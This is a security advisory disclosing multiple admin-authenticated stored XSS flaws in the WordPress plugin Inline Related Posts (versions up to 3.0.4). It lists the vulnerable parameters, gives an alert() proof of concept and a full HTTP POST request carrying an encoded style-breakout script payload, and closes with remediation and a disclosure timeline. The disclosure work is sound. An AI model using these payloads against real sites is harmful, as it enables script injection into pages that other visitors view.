Trustwave SpiderLabs Security Advisory TWSL2021-017:
Multiple Authenticated Stored XSS in WordPress Plugin Inline Related Posts

Published: 10/06/2021
Version: 1.0

Vendor: IntellyWP (https://intellywp.com/)
Product: WordPress Plugin Inline Related Posts
Version affected:  <= 3.0.4

Product description:
The plugin provides functionality to include references between posts that have
certain things in common.

Finding 1: Multiple Authenticated Stored XSS
*****Credit: Martin Vierula of Trustwave 
CVE: CVE-2021-35470
CWE: CWE-79

Multiple parameters are vulnerable to stored Cross-site Scripting.  The
vulnerabilities require admin privileges to exploit.  In each case the script
will execute for every user viewing a post that contains one of the inline
references.

Parameters confirmed to be vulnerable:
 - template-ctaText
 - template-ctaTextColor
 - template-postTitleColor
 - template-boxColor
 - template-borderColor
 - template-linkTarget

PoC for template-ctaText:

The following can be entered directly in the browser:

READ<script>alert(1);</script>

PoC for template-ctaTextColor:

This XSS cannot be entered through the browser, but can be submitted with a tool
such as BurpSuite.

POST /wp/wp-admin/options-general.php?page=intelly-related-posts HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/options-general.php?page=intelly-related-posts
Content-Type: application/x-www-form-urlencoded
Content-Length: 692
Origin: http://localhost
Connection: keep-alive
Cookie: <admin cookies>
Upgrade-Insecure-Requests: 1

irpActive=1&template-ctaText=READ&template-template=Minimalist&template-boxOpacity=90&marginTop=5em&marginBottom=10em&template-ctaTextColor=%231ABC9C%3B%20%7D%3C%2Fstyle%3E%3Cscript%3Ealert%286%29%3B%3C%2Fscript%3E%3Cstyle%3E&template-postTitleColor=%23000000&template-boxColor=%238E44AD&template-borderColor=%2334495E&template-hasShadow=1&template-hasPoweredBy=1&irpRewriteActive=1&irpRewriteBoxesCount=2&irpRewritePostsDays=5&irpRewriteThreshold=240&irpRewriteAtEnd=1&irpRewritePostType_post=1&irpEngineSearch=0&template-linkRel=dofollow&template-linkTarget=_self&metabox_post=1&_wpnonce=d6323339d0&_wp_http_referer=%2Fwp%2Fwp-admin%2Foptions-general.php%3Fpage%3Dintelly-related-posts


Remediation Steps:
Upgrade Inline Related Posts to version 3.0.5 or the latest stable version.

Revision History:
06/14/2021 - Vulnerability disclosed
06/15/2021 - Patch released by vendor
10/06/2021 - Advisory published

References
1. https://wordpress.org/plugins/intelly-related-posts/#developers


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About Trustwave SpiderLabs:
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incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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